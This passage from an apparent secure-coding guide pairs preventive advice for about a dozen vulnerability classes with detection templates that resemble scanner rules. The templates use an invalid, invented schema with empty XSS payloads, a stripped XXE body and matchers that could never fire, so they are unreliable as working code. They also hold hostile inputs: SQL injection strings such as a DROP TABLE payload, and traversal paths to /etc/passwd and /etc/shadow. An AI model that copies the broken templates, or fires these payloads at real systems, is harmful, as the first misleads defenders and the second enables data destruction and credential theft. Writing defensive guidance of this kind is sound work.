cryptographic algorithms that are widely recognized, thoroughly tested, and recommended by cryptographic experts. Examples of secure algorithms include AES (Advanced Encryption Standard) for symmetric encryption, RSA or ECDSA for asymmetric encryption, and SHA-256 or SHA-3 for hashing. 1. Avoid deprecated or weakened algorithms: Stay away from deprecated or weakened cryptographic algorithms, such as DES (Data Encryption Standard) or MD5 (Message Digest Algorithm 5). These algorithms have known vulnerabilities and are no longer considered secure for most applications. 1. Use appropriate key sizes: Ensure that the key sizes used in your cryptographic algorithms are appropriate for the level of security required. Use key sizes recommended by cryptographic standards, taking into account the strength of the algorithm and the anticipated lifespan of the data being protected. 1. Secure key management: Implement robust key management practices, including the secure generation, storage, and distribution of cryptographic keys. Protect keys from unauthorized access, and regularly rotate or update keys as per best practices. 1. Use secure random number generation: Cryptographic operations often rely on random numbers for key generation, initialization vectors, and nonces. Use a cryptographically secure random number generator (CSPRNG) to ensure the randomness and unpredictability of these values. 1. Third-party library evaluation: When using cryptographic libraries or frameworks, evaluate their reputation, security track record, and community support. Choose well-established libraries that have undergone security audits and are actively maintained to minimize the risk of using broken or insecure crypto algorithms. Independent security reviews: Conduct independent security reviews or audits of your cryptographic implementations to identify any weaknesses, vulnerabilities, or misconfigurations. Engage security professionals or external auditors with expertise in cryptography to assess your cryptographic practices. 1. Ongoing monitoring and updates: Stay vigilant about emerging cryptographic vulnerabilities or attacks. Monitor security advisories and updates from cryptographic standards organizations, vendors, and the broader security community. Apply patches, updates, or configuration changes as necessary to address any identified vulnerabilities. By following these preventive measures and adopting strong cryptographic practices, you can significantly reduce the risk of using broken or risky crypto algorithms and enhance the security of your application's sensitive data. It is essential to maintain an active stance in staying informed about cryptographic best practices and evolving security threats to ensure the continued security of your cryptographic implementations. ``` id: risky-crypto-algorithm info: name: Risky Crypto Algorithm author: Your Name severity: medium description: Detects the use of risky cryptographic algorithms in TLS configurations or code. references: - https://example.com tags: - cryptography requests: - name: Risky Crypto Algorithm Check path: - / - /login - /admin matchers: - type: word words: - ssl_version - cipher_suite - crypto_algorithm attacks: - type: regex part: body words: - 'ssl_version = ".*"' - 'cipher_suite = ".*"' - 'crypto_algorithm = "MD5|SHA1|RC4|DES"' - type: regex part: body words: - 'ssl_version: ".*"' - 'cipher_suite: ".*"' - 'crypto_algorithm: "MD5|SHA1|RC4|DES"' - type: regex part: body words: - 'algorithm = "MD5|SHA1|RC4|DES"' - 'algorithm: "MD5|SHA1|RC4|DES"' ``` ### Insufficient Entropy Insufficient entropy refers to a lack of randomness or unpredictability in the generation of cryptographic keys, random numbers, or other security-critical values. Insufficient entropy can weaken cryptographic algorithms and make them more susceptible to brute-force attacks or other cryptographic attacks. To prevent insufficient entropy, you can follow these preventive measures: 1. Use a cryptographically secure random number generator (CSPRNG): Use a CSPRNG instead of relying on pseudo-random number generators (PRNGs) or non-secure random sources. A CSPRNG ensures that the generated random numbers are sufficiently unpredictable and suitable for cryptographic purposes. 1. Collect entropy from diverse sources: Gather entropy from a variety of sources, such as hardware events (e.g., mouse movements, keyboard presses, disk activity), system-level events, environmental factors, or dedicated hardware random number generators. Combine these entropy sources to increase the randomness and unpredictability of the generated values. 1. Periodically reseed the random number generator: Regularly reseed the random number generator with fresh entropy to maintain a high level of randomness. This helps prevent the depletion of entropy over time. 1. Use hardware-based random number generation: If available, consider utilizing dedicated hardware random number generators (RNGs) that provide a high degree of randomness. These RNGs use physical processes, such as electronic noise or radioactive decay, to generate random values. 1. Test and monitor entropy levels: Implement mechanisms to test and monitor the entropy levels in your system. You can use tools or libraries to assess the quality of randomness and ensure that it meets the required entropy threshold. Monitor entropy pools to identify any potential depletion or insufficient entropy conditions. 1. Avoid deterministic algorithms for key generation: Use algorithms that incorporate randomness and avoid deterministic algorithms for key generation. Deterministic algorithms generate the same output for the same input, making them predictable and susceptible to attacks. 1. Periodically rotate cryptographic keys: Regularly rotate cryptographic keys, especially for long-lived cryptographic operations. This minimizes the impact of compromised keys and provides an opportunity to introduce fresh entropy during the key generation process. 1. Perform security testing and code review: Conduct security testing, including vulnerability scanning and code review, to identify any weaknesses or vulnerabilities related to entropy generation. Review the implementation of random number generation functions and ensure they meet cryptographic best practices. 1. Follow cryptographic standards and best practices: Adhere to established cryptographic standards, guidelines, and best practices. Standards organizations like NIST and IETF provide recommendations and guidelines for generating and managing cryptographic keys, random numbers, and entropy. By implementing these preventive measures, you can enhance the entropy generation process and ensure the strength and unpredictability of cryptographic operations. It is crucial to regularly assess and update your entropy generation mechanisms to adapt to evolving security requirements and best practices. ``` id: insufficient-entropy info: name: Insufficient Entropy author: Your Name severity: medium description: Detects the usage of weak or insufficient entropy sources in cryptographic operations. references: - https://example.com tags: - cryptography requests: - name: Insufficient Entropy Check path: - / - /login - /admin matchers: - type: word words: - entropy attacks: - type: regex part: body words: - 'entropy = [0-7]\.\d{1,}' - 'entropy: [0-7]\.\d{1,}' - type: regex part: body words: - 'weak_entropy = true' - 'weak_entropy: true' - type: regex part: body words: - 'insufficient_entropy = true' - 'insufficient_entropy: true' ``` ### XSS XSS (Cross-Site Scripting) is a type of web vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. It occurs when user-supplied data is improperly validated or escaped and is directly included in a web page without proper sanitization. To prevent XSS attacks, you can follow these preventive measures: 1. Input validation and filtering: Validate and sanitize all user-generated input, including form fields, URL parameters, and HTTP headers. Apply input validation to ensure that only expected data types and formats are accepted. Filter out or escape characters that can be used for malicious purposes, such as HTML tags, JavaScript code, or SQL commands. 1. Use secure coding practices: Implement secure coding practices that promote the separation of code and data. Use appropriate context-aware output encoding or escaping techniques when displaying user-supplied data in HTML, JavaScript, CSS, or other contexts. 1. Use a secure templating system: If using a templating system, make sure it automatically escapes or sanitizes user input by default. Avoid using string concatenation or manual HTML construction for displaying user-supplied data. 1. Content Security Policy (CSP): Implement and enforce a Content Security Policy that restricts the types of content that can be loaded or executed on a web page. CSP helps mitigate XSS attacks by defining the sources from which various content, such as scripts or stylesheets, can be loaded. 1. HTTP-only cookies: Use the HttpOnly flag when setting cookies to prevent client-side scripts from accessing sensitive cookies. This helps protect against session hijacking attacks. 1. Escape output appropriately: When dynamically generating HTML, JavaScript, or other content, ensure that user-supplied data is properly escaped to prevent it from being interpreted as code. Use context-aware escaping functions provided by your programming framework or language. 1. Secure development frameworks and libraries: Utilize secure development frameworks and libraries that have built-in protections against XSS attacks. These frameworks often provide mechanisms to automatically escape or sanitize user input when rendering templates or generating HTML. 1. Regularly update and patch: Keep all web application components, including frameworks, libraries, and plugins, up to date with the latest security patches. XSS vulnerabilities may be discovered in these components, and updates often address these vulnerabilities. 1. Educate and train developers: Provide security training and awareness programs to developers to educate them about the risks of XSS attacks and secure coding practices. Teach them how to properly validate, sanitize, and escape user input to prevent XSS vulnerabilities. 1. Penetration testing and security scanning: Regularly conduct penetration testing and security scanning to identify any XSS vulnerabilities in your web application. Utilize automated vulnerability scanners or engage security professionals to perform manual security assessments. By following these preventive measures, you can significantly reduce the risk of XSS attacks and protect your web application and users from potential malicious activities. It is essential to implement a layered approach to security, combining secure coding practices, input validation, output encoding, and regular security testing to maintain a strong defense against XSS vulnerabilities. ``` id: xss info: name: Cross-Site Scripting (XSS) author: Your Name severity: high description: Detects potential Cross-Site Scripting vulnerabilities in web applications. references: - https://example.com tags: - web - xss requests: - name: XSS Payload Test path: - / - /login - /admin matchers: - type: status status: - 200 attacks: - type: fuzz payloads: - '' - '' - '' - '' - type: regex part: body words: - 'document\.cookie' - 'eval\(' - 'on\w+=.*[\'"]' ``` ### SQL Injection SQL Injection is a web application vulnerability that occurs when an attacker is able to manipulate an SQL query by inserting malicious SQL code. It happens when user-supplied input is not properly validated or sanitized and is directly concatenated into an SQL statement, allowing the attacker to execute unauthorized database operations, view sensitive data, or modify the database. To prevent SQL Injection attacks, you can follow these preventive measures: 1. Use parameterized queries or prepared statements: Instead of dynamically building SQL queries by concatenating user input, use parameterized queries or prepared statements. These mechanisms allow you to separate the SQL code from the user-supplied input, preventing the injection of malicious SQL code. 1. Input validation and sanitization: Validate and sanitize all user-generated input before using it in SQL queries. Validate input to ensure it matches the expected data type, length, and format. Sanitize input by removing or escaping special characters that can be used for SQL injection, such as single quotes or semicolons. 1. Avoid dynamic SQL queries: Whenever possible, avoid dynamically building SQL queries using string concatenation. Instead, use ORM (Object-Relational Mapping) frameworks or query builders that provide built-in protection against SQL injection. These frameworks automatically handle the proper escaping and parameter binding. 1. Least privilege principle: Ensure that the database user account used by the web application has the least privilege necessary to perform its required operations. Restrict the permissions to only those specific tables and operations required by the application, reducing the potential impact of a successful SQL injection attack. 1. Securely manage database credentials: Store and manage database credentials securely. Avoid hard-coding credentials in the source code or configuration files. Instead, use secure credential storage mechanisms such as environment variables or secure key stores. 1. Implement input validation on the server-side: While client-side input validation provides a better user experience, it should not be solely relied upon for security. Always perform input validation and sanitization on the server-side as well, as client-side validation can be bypassed or manipulated. 1. Regularly update and patch: Keep your database management system (DBMS) up to date with the latest security patches. DBMS vendors often release updates to address security vulnerabilities, including those related to SQL injection. 1. Implement strong access controls: Implement strong access controls at the application level to restrict user access and actions. Use role-based access control (RBAC) and properly authenticate and authorize users to ensure they only have access to the appropriate resources and actions. 1. Security testing and code review: Conduct regular security testing, including penetration testing and code review, to identify any SQL injection vulnerabilities in your web application. Utilize automated vulnerability scanners and engage security professionals to perform manual security assessments. 1. Secure development practices: Promote secure coding practices within your development team. Educate developers about the risks of SQL injection and provide training on secure coding techniques and best practices. Encourage the use of secure coding frameworks and libraries that offer protection against SQL injection. By implementing these preventive measures, you can significantly reduce the risk of SQL Injection attacks and protect your web application from unauthorized database access or manipulation. It is important to adopt a proactive approach to security, combining secure coding practices, input validation, parameterized queries, and regular security testing to maintain the integrity and security of your application's database interactions. ``` id: sql-injection info: name: SQL Injection author: Your Name severity: high description: Detects potential SQL Injection vulnerabilities in web applications. references: - https://example.com tags: - web - sql-injection requests: - name: SQL Injection Test path: - / - /login - /admin matchers: - type: status status: - 200 attacks: - type: fuzz payloads: - "' OR 1=1 --" - "'; DROP TABLE users; --" - "'; SELECT * FROM users; --" - type: regex part: body words: - 'error in your SQL syntax' - 'mysql_fetch_array()' - 'sqlite_fetch_array()' ``` ### External Control of File Name or Path External Control of File Name or Path is a vulnerability that occurs when an attacker can manipulate the file name or path used in file operations, leading to unintended or unauthorized access to files on the system. This vulnerability can be exploited to read, overwrite, or execute arbitrary files, potentially compromising the security and integrity of the application and the underlying system. To prevent External Control of File Name or Path vulnerabilities, you can follow these preventive measures: 1. Validate and sanitize file inputs: Validate and sanitize any file-related inputs received from users or external sources. Verify that the file names or paths conform to the expected format and do not contain any unexpected or malicious characters. Sanitize the input by removing or escaping any characters that can be used for path traversal or command injection. 1. Use whitelisting: Implement a whitelist approach for allowed file names or paths. Define a list of permitted characters, file extensions, or directory paths that are considered safe and reject any inputs that do not match the whitelist. This helps prevent unauthorized access to sensitive files or system directories. 1. Avoid user-controlled file names or paths: Whenever possible, avoid using user-supplied input directly as file names or paths. Generate file names or paths programmatically using trusted and validated data sources, such as a database or internal configuration. If user input is necessary, consider using a secure file upload mechanism that stores uploaded files in a designated, non-executable directory. 1. Restrict file system access permissions: Set appropriate access permissions on files and directories to limit the privileges of the application or process accessing them. Ensure that the application runs with the least privilege necessary to perform its operations and restrict access to sensitive files or system directories. 1. Use platform-specific secure file APIs: Utilize secure file access APIs provided by the programming language or framework you're using. These APIs often include built-in protections against path traversal attacks or command injection. Avoid using low-level file system access methods that may be more susceptible to vulnerabilities. 1. Implement file access controls: Implement proper file access controls within your application. Authenticate and authorize users to ensure they have the necessary permissions to access specific files or directories. Enforce file-level access controls based on user roles or privileges. 1. Secure file upload and download: Implement secure file upload and download mechanisms that validate file types, check file sizes, and perform virus/malware scanning. Restrict the allowed file extensions, set size limits, and ensure the uploaded files are stored in a secure location. 1. Regularly update and patch: Keep the underlying operating system, libraries, and dependencies up to date with the latest security patches. Patches often address vulnerabilities related to file system operations and can help mitigate the risk of external control of file name or path attacks. 1. Security testing and code review: Conduct regular security testing, including penetration testing and code review, to identify any vulnerabilities related to file operations. Utilize automated vulnerability scanners or engage security professionals to perform manual security assessments. 1. Educate developers: Provide training and education to developers about secure file handling practices and the risks associated with external control of file name or path vulnerabilities. Promote secure coding techniques and best practices within your development team. By implementing these preventive measures, you can significantly reduce the risk of external control of file name or path vulnerabilities and protect your application from unauthorized file access or manipulation. It is crucial to follow secure coding practices, validate and sanitize file inputs, and regularly update your systems to address any emerging security issues. ``` id: file-path-injection info: name: External Control of File Name or Path author: Your Name severity: medium description: Detects potential file path injection vulnerabilities in web applications. references: - https://example.com tags: - web - file-path-injection requests: - name: File Path Injection Test path: - / - /download matchers: - type: status status: - 200 attacks: - type: dynamic-attack requests: - method: GET path: "/download?file={{.Fuzz}}" headers: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) fuzz: - "../../../../etc/passwd" - "../../../../etc/shadow" - "../../../../etc/hosts" ``` ### Generation of Error Message Containing Sensitive Information The Generation of Error Message Containing Sensitive Information is a vulnerability that occurs when error messages generated by an application reveal sensitive or confidential information. This can include details such as database connection strings, stack traces, user credentials, or other sensitive data. Attackers can exploit this information to gain insights into the system's architecture, identify potential weaknesses, or launch further attacks. To prevent the generation of error messages containing sensitive information, you can follow these preventive measures: 1. Disable detailed error messages in production: Ensure that your application's production environment is configured to display generic error messages instead of detailed technical information. This helps to prevent the inadvertent exposure of sensitive data in error messages. 1. Implement custom error handling: Create custom error handling mechanisms that capture and handle application errors without disclosing sensitive information. Customize error messages to provide generic and user-friendly feedback to users, without revealing specific technical details. 1. Log errors securely: If your application logs errors, ensure that sensitive information is not included in the log entries. Review your logging configuration to ensure that only necessary information is logged, and sanitize any logged data to remove sensitive details. 1. Avoid displaying sensitive information: Avoid displaying sensitive information in error messages altogether. Refrain from including sensitive data such as user credentials, database connection strings, or internal system paths in error messages. Instead, focus on providing useful and actionable information to users without revealing sensitive details. 1. Use exception handling best practices: Employ proper exception handling techniques in your code. Catch and handle exceptions gracefully, avoiding the propagation of sensitive information in error messages. Implement structured exception handling mechanisms to capture and handle errors effectively. 1. Regularly test error handling: Perform thorough testing of your application's error handling mechanisms. Include scenarios where exceptions are intentionally triggered to ensure that sensitive information is not disclosed in error messages. Use automated vulnerability scanning tools or engage security professionals to identify potential information leakage. 1. Implement input validation and sanitization: Validate and sanitize user input to prevent malicious input from triggering errors that reveal sensitive information. Proper input validation helps to prevent common attack vectors, such as injection attacks, that can lead to the generation of error messages containing sensitive data. 1. Follow secure coding practices: Adhere to secure coding practices and guidelines. Keep sensitive information separate from error messages and ensure that error handling code is robust and secure. Apply secure coding principles throughout the development lifecycle to minimize the likelihood of vulnerabilities. 1. Regularly update and patch: Keep your application and its dependencies up to date with the latest security patches. Software updates often address security vulnerabilities, including those related to error handling and the potential exposure of sensitive information. 1. Educate developers: Provide training and awareness programs to educate developers about the risks associated with error messages containing sensitive information. Promote secure coding practices and emphasize the importance of properly handling and securing error messages. By implementing these preventive measures, you can minimize the risk of exposing sensitive information in error messages and enhance the security of your application. It is crucial to prioritize the protection of sensitive data and regularly review and update your error handling mechanisms to ensure they align with best practices and evolving security standards. ``` id: error-message-leak info: name: Generation of Error Message Containing Sensitive Information author: Your Name severity: high description: Detects potential leakage of sensitive information in error messages. references: - https://example.com tags: - web - error-message-leak requests: - name: Error Message Leakage Test path: - / - /login matchers: - type: status status: - 200 attacks: - type: dynamic-attack requests: - method: POST path: "/login" headers: Content-Type: application/x-www-form-urlencoded body: username: "{{.Fuzz}}" password: "password" fuzz: - "' OR '1'='1" - "' OR 'a'='a" - "' OR '1'='1' --" ``` ### Unprotected storage of credentials Unprotected storage of credentials refers to the practice of storing sensitive credentials, such as usernames, passwords, API keys, or access tokens, in an insecure manner. This can include storing credentials in plain text, using weak encryption, or storing them in easily accessible locations, making them vulnerable to unauthorized access and potential misuse by attackers. To prevent unprotected storage of credentials, you should follow these preventive measures: 1. Use secure credential storage mechanisms: Utilize secure methods for storing credentials, such as secure databases, encrypted files, or dedicated credential management systems. These mechanisms should provide strong encryption and access controls to protect the confidentiality and integrity of the stored credentials. 1. Avoid storing plain text passwords: Never store passwords or sensitive credentials in plain text. Instead, use strong cryptographic techniques, such as one-way hashing with salt or key derivation functions, to securely store and verify passwords. 1. Implement strong encryption: If you need to store credentials in a file or database, ensure that the data is encrypted using robust encryption algorithms and keys. Utilize industry-standard encryption libraries and algorithms to protect the credentials from unauthorized access. 1. Separate credentials from source code: Avoid storing credentials directly in source code or configuration files that are part of version control systems. Separate the credentials from the codebase and use environment-specific configuration files or secure secrets management tools to provide the necessary credentials during runtime. 1. Securely manage API keys and access tokens: When working with API keys or access tokens, follow best practices provided by the respective service or framework. Avoid hardcoding these credentials and instead use secure environment variables or dedicated configuration files to store and retrieve them. 1. Implement access controls: Enforce proper access controls to limit access to sensitive credentials. Grant access only to authorized individuals who require it for their specific roles or tasks. Regularly review and update access permissions to ensure that only trusted individuals have access to the credentials. 1. Regularly rotate credentials: Implement a credential rotation policy that mandates periodic password changes, key rotation, or the issuance of new access tokens. Regularly rotating credentials reduces the risk of long-term exposure and unauthorized access to sensitive systems. 1. Monitor and log credential access: Implement logging and monitoring mechanisms to track access to sensitive credentials. Regularly review logs for any suspicious or unauthorized access attempts. Monitoring helps detect any potential breaches or unauthorized usage of credentials. 1. Educate users about secure credential management: Provide training and awareness programs to educate users and developers about the importance of secure credential management practices. Emphasize the risks associated with unprotected storage of credentials and promote secure coding and handling techniques. 1. Regularly assess and audit: Conduct regular security assessments and audits to identify any potential vulnerabilities or weaknesses in the storage and management of credentials. Utilize automated scanning tools or engage security professionals to perform thorough assessments. By implementing these preventive measures, you can significantly reduce the risk of unprotected storage of credentials and enhance the security of your application and systems. Safeguarding sensitive credentials is crucial for protecting user data, preventing unauthorized access, and maintaining the trust of your users. ``` id: unprotected-credentials info: name: Unprotected Storage of Credentials author: Your Name severity: high description: Detects unprotected storage of sensitive credentials. references: - https://example.com tags: - web - unprotected-credentials requests: - name: Unprotected Credential Storage Test path: - / - /admin - /login matchers: - type: status status: - 200 attacks: - type: dynamic-attack requests: - method: GET path: "/config" - method: GET path: "/credentials" ``` ### Trust Boundary Violation Trust Boundary Violation refers to a security vulnerability that occurs when data or control crosses a trust boundary without proper validation or authorization. It happens when data from an untrusted source is treated as trusted or when there is a failure to enforce proper access controls at the boundary between trusted and untrusted components or systems. This violation can lead to unauthorized access, data breaches, privilege escalation, or the execution of malicious code. To prevent Trust Boundary Violation, you should follow these preventive measures: 1. Validate and sanitize inputs: Validate and sanitize all inputs received from untrusted sources, such as user input, API calls, or data from external systems. Implement strict input validation and filtering techniques to ensure that only safe and expected data is passed across trust boundaries. 1. Implement strong authentication and authorization: Enforce robust authentication and authorization mechanisms to ensure that only authorized entities can access sensitive resources or perform critical operations. Implement access controls at trust boundaries to prevent unauthorized access. 1. Apply the principle of least privilege: Grant users, components, or systems only the minimum privileges necessary to perform their tasks. Avoid giving unnecessary permissions or elevated privileges that can potentially lead to trust boundary violations. 1. Use secure communication protocols: When data crosses trust boundaries, ensure that secure communication protocols, such as SSL/TLS, are used to protect the confidentiality and integrity of the data in transit. Encrypt sensitive data to prevent interception or tampering. 1. Implement secure session management: If sessions are used to maintain user state or context, ensure that proper session management practices are followed. Use secure session tokens, enforce session timeouts, and protect against session fixation or session hijacking attacks. 1. Segregate and isolate components: Clearly define and enforce trust boundaries between different components or systems. Isolate untrusted components or systems from trusted ones to minimize the impact of a potential breach or compromise. 1. Regularly update and patch: Keep all components, frameworks, libraries, and systems up to date with the latest security patches. Regularly review and update security configurations to address any known vulnerabilities that may lead to trust boundary violations. 1. Implement runtime monitoring and anomaly detection: Deploy monitoring systems that can detect and alert on unusual or unexpected behaviors across trust boundaries. Monitor for suspicious activities, unexpected data flows, or unauthorized access attempts. 1. Perform security testing and code reviews: Conduct regular security testing, including penetration testing and code reviews, to identify and address any trust boundary vulnerabilities. Test the resilience of your system to boundary violations and validate the effectiveness of implemented security controls. 1. Provide security awareness training: Educate developers and system administrators about the risks and consequences of trust boundary violations. Promote security awareness and provide training on secure coding practices, secure configuration management, and the importance of enforcing trust boundaries. By following these preventive measures, you can mitigate the risk of trust boundary violations and enhance the overall security posture of your application or system. It is crucial to establish clear trust boundaries, implement appropriate security controls, and regularly monitor and update your systems to prevent unauthorized access or compromise across trust boundaries. ``` id: trust-boundary-violation info: name: Trust Boundary Violation author: Your Name severity: medium description: Detects trust boundary violations in the application. references: - https://example.com tags: - web - trust-boundary-violation requests: - name: Trust Boundary Violation Test path: - / - /admin - /user matchers: - type: status status: - 200 attacks: - type: dynamic-attack requests: - method: GET path: "/user-details?admin=true" - method: GET path: "/admin-details?user=true" ``` ### Insufficiently Protected Credentials Insufficiently Protected Credentials is a security vulnerability that occurs when sensitive credentials, such as usernames, passwords, API keys, or access tokens, are not adequately protected, making them susceptible to unauthorized access or misuse. This can happen due to weak encryption, improper storage, or inadequate access controls, putting sensitive information at risk. To prevent Insufficiently Protected Credentials, you should follow these preventive measures: 1. Use strong encryption: Ensure that sensitive credentials are properly encrypted using strong encryption algorithms and keys. Employ industry-standard encryption practices to protect the confidentiality and integrity of the stored credentials. 1. Implement secure storage mechanisms: Store credentials in secure storage systems, such as encrypted databases or secure key stores, that provide appropriate access controls and protection against unauthorized access. Avoid storing credentials in plain text or insecurely accessible locations. 1. Avoid hardcoding credentials: Hardcoding credentials directly in source code or configuration files should be avoided. Instead, utilize environment variables, secure secrets management tools, or configuration files with restricted access to store and retrieve credentials. 1. Implement secure credential transmission: When transmitting credentials, use secure communication protocols such as SSL/TLS to encrypt the data in transit. Avoid transmitting credentials over insecure channels or including them in URL parameters. 1. Apply the principle of least privilege: Grant credentials only the minimum privileges required for the intended functionality. Avoid providing unnecessary or excessive privileges to reduce the potential impact of a credential compromise. 1. Enforce strong password policies: Implement strong password policies that encourage users to create complex and unique passwords. Enforce password expiration and provide mechanisms for password resets or account recovery. 1. Implement multi-factor authentication (MFA): Utilize MFA to add an extra layer of security. Require users to provide additional authentication factors, such as a time-based one-time password (TOTP) or biometric data, to access sensitive resources. 1. Regularly rotate credentials: Establish a credential rotation policy that mandates periodic password changes, key rotation, or token regeneration. Regularly update and rotate credentials to limit the exposure window in case of a compromise. 1. Implement secure coding practices: Follow secure coding practices to minimize the risk of inadvertently exposing credentials. Avoid logging or displaying credentials in error messages or debug output. Implement secure coding techniques to protect against common vulnerabilities like injection attacks. 1. Conduct regular security assessments: Perform regular security assessments and penetration testing to identify vulnerabilities and weaknesses in credential protection. Engage security professionals or utilize automated vulnerability scanning tools to identify potential issues. 1. Educate users and developers: Raise awareness among users and developers about the importance of protecting credentials. Provide training on secure coding practices, password management, and the risks associated with insufficiently protected credentials. By implementing these preventive measures, you can significantly reduce the risk of Insufficiently Protected Credentials and enhance the security of your systems. Protecting sensitive credentials is crucial for safeguarding user data, preventing unauthorized access, and maintaining the trust of your users. ``` id: insufficiently-protected-credentials info: name: Insufficiently Protected Credentials author: Your Name severity: high description: Detects instances where sensitive credentials are insufficiently protected. references: - https://example.com tags: - web - insufficiently-protected-credentials requests: - name: Insufficiently Protected Credentials Test path: - / - /admin - /login matchers: - type: status status: - 200 attacks: - type: dynamic-attack requests: - method: POST path: /login headers: - name: Content-Type value: application/x-www-form-urlencoded body: "username=admin&password=admin" matchers: - type: word words: - "Invalid username or password" ``` ### Restriction of XML External Entity Reference Restriction of XML External Entity (XXE) Reference is a security vulnerability that occurs when an XML parser processes external entities included in the XML input. Attackers can exploit this vulnerability to read sensitive data from the server or perform denial-of-service attacks. To prevent XXE vulnerabilities, you should follow these preventive measures: 1. Disable external entity processing: Configure the XML parser to disable the processing of external entities. This prevents the XML parser from resolving and including external entities in the XML input. 1. Validate and sanitize XML inputs: Implement proper input validation and sanitization techniques to ensure that only expected and safe XML data is processed. Use strict parsing settings and reject or sanitize any untrusted or unexpected XML input. 1. Use whitelisting and filtering: Implement whitelisting or filtering mechanisms to allow only known safe XML structures and reject or remove any potentially malicious XML constructs or elements. 1. Upgrade to a secure XML parser: Use the latest version of a secure and well-maintained XML parser library. Older versions of XML parsers may have known vulnerabilities that can be exploited by attackers. 1. Implement least privilege: Restrict access privileges of the XML parser to minimize the potential impact of an XXE attack. Ensure that the XML parser runs with the least privileges required to perform its functionality. 1. Avoid using user-controlled XML: Avoid using user-controlled XML in sensitive operations or processing. If user-supplied XML is required, ensure strict validation and sanitization of the input to mitigate the risk of XXE vulnerabilities. 1. Implement server-side filtering and input validation: Apply server-side input validation and filtering techniques to prevent XXE vulnerabilities. Validate and sanitize all XML data received from clients before processing it on the server. 1. Follow secure coding practices: Adhere to secure coding practices when handling XML data. Avoid concatenating XML strings or building XML dynamically using untrusted input, as it can introduce XML injection vulnerabilities. 1. Regularly update and patch: Keep the XML parser and associated libraries up to date with the latest security patches. Stay informed about any security advisories or updates related to the XML parser to address any known vulnerabilities. 1. Perform security testing: Conduct security testing, including vulnerability assessments and penetration testing, to identify and remediate XXE vulnerabilities. Test the resilience of the application against various XXE attack vectors and verify the effectiveness of implemented security controls. By implementing these preventive measures, you can reduce the risk of XXE vulnerabilities and enhance the security of your XML processing. It is essential to be cautious when handling XML data, implement secure coding practices, and keep the XML parser up to date to prevent attackers from exploiting XXE vulnerabilities. ``` id: restriction-of-xxe-reference info: name: Restriction of XML External Entity Reference author: Your Name severity: medium description: Detects instances where XML parsing allows external entity references, potentially leading to XXE vulnerabilities. references: - https://example.com tags: - web - restriction-of-xxe-reference requests: - name: Restriction of XXE Reference Test path: - / - /admin - /api matchers: - type: status status: - 200 attacks: - type: dynamic-attack requests: - method: POST path: /api/parse-xml headers: - name: Content-Type value: application/xml body: | ]> &xxe; matchers: - type: word words: - "XXE detected" ``` ### Vulnerable and Outdated Components Vulnerable and outdated components refer to third-party libraries, frameworks, or software components that have known security vulnerabilities or are no longer supported with security patches. Using such components can introduce security risks into your application or system, as attackers can exploit these vulnerabilities to gain unauthorized access or compromise your system. To prevent the use of vulnerable and outdated components, you should follow these preventive measures: 1. Maintain an inventory of components: Create and maintain an inventory of all the third-party components used in your application or system. Keep track of the version numbers and the sources of these components. 1. Stay informed about security updates: Stay updated with the latest security advisories and vulnerability reports for the components you use. Subscribe to security mailing lists or follow official sources to receive notifications about security patches and updates. 1. Regularly update components: Regularly update the components in your application or system to the latest stable and secure versions. Check for security releases and apply the patches promptly. Ensure that your update process is well-documented and regularly tested. 1. Utilize vulnerability databases: Make use of vulnerability databases and security resources that provide information on known vulnerabilities in components. Check these resources regularly to identify any vulnerabilities in the components you use and take appropriate action. 1. Perform security assessments: Conduct regular security assessments and vulnerability scans to identify any vulnerabilities introduced by the components. Use automated tools or engage security professionals to perform security testing and code reviews. 1. Monitor component support: Keep track of the support status of the components you use. If a component is no longer maintained or has reached its end-of-life, consider finding alternative components or solutions. Unsupported components are more likely to have unpatched vulnerabilities. 1. Implement a patch management process: Establish a patch management process to ensure that security patches and updates are promptly applied to the components. This process should include testing patches in a controlled environment before deploying them to production. 1. Consider using security monitoring tools: Implement security monitoring tools that can detect and alert you about vulnerabilities or potential risks associated with the components you use. These tools can help you identify any security issues early on and take necessary mitigation steps. 1. Follow secure coding practices: Develop secure coding practices to minimize the introduction of vulnerabilities in your own code. Regularly review and update your code to ensure that it does not rely on vulnerable or outdated components. 1. Include component assessment in the procurement process: When selecting new components, consider their security track record, update frequency, and community support. Choose components that have a good reputation for security and are actively maintained. By following these preventive measures, you can reduce the risk of using vulnerable and outdated components in your application or system. Regularly updating components, staying informed about security updates, and conducting security assessments are essential to maintain a secure software ecosystem. ``` id: vulnerable-and-outdated-components info: name: Vulnerable and Outdated Components author: Your Name severity: high description: Detects vulnerable and outdated components in web applications. references: - https://example.com tags: - web - vulnerable-and-outdated-components requests: - name: Vulnerable and Outdated Components Test path: - / - /admin - /dashboard matchers: - type: status status: - 200 attacks: - type: dynamic-attack requests: - method: GET path: /info headers: - name: User-Agent value: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 matchers: - type: word words: - "Vulnerable component detected" ``` ### Improper Validation of Certificate with Host Mismatch Improper Validation of Certificate with Host Mismatch is a security vulnerability that occurs when a client application fails to properly validate the server's SSL/TLS certificate during a secure communication handshake. This vulnerability allows an attacker to impersonate the server by presenting a certificate that does not match the expected host. To prevent Improper Validation of Certificate with Host Mismatch, you should follow these preventive measures: 1. Properly validate SSL/TLS certificates: Implement a robust certificate validation mechanism in your client application. Ensure that the SSL/TLS library or framework being used verifies the certificate chain, expiration date, revocation status, and other relevant fields. 1. Check for host name mismatch: Verify that the common name (CN) or subject alternative name (SAN) field in the certificate matches the host to which the client is connecting. Perform a strict comparison and reject the connection if there is a mismatch. 1. Use a trusted certificate authority (CA): Obtain SSL/TLS certificates from reputable CAs that follow industry best practices for certificate issuance. Trust certificates only from well-known CAs to reduce the risk of obtaining fraudulent or improperly issued certificates. 1. Implement certificate pinning: Consider implementing certificate pinning, also known as public key pinning, in your client application. Pinning involves associating a specific server's public key or certificate fingerprint with a known and trusted value. This helps prevent certificate substitution attacks. 1. Stay up to date with CA revocations: Regularly update the list of revoked certificates and perform certificate revocation checks during the validation process. Check certificate revocation status using online certificate revocation lists (CRLs) or the Online Certificate Status Protocol (OCSP). 1. Enable strict SSL/TLS configuration: Configure your SSL/TLS settings to use secure and up-to-date protocols (e.g., TLS 1.2 or higher) and cryptographic algorithms. Disable deprecated or weak protocols and algorithms to prevent potential vulnerabilities. 1. Perform thorough testing: Conduct rigorous testing to ensure that certificate validation is working correctly in your client application. Test scenarios should include cases where certificates have expired, are revoked, or have host mismatches. Automated security testing tools can also help identify 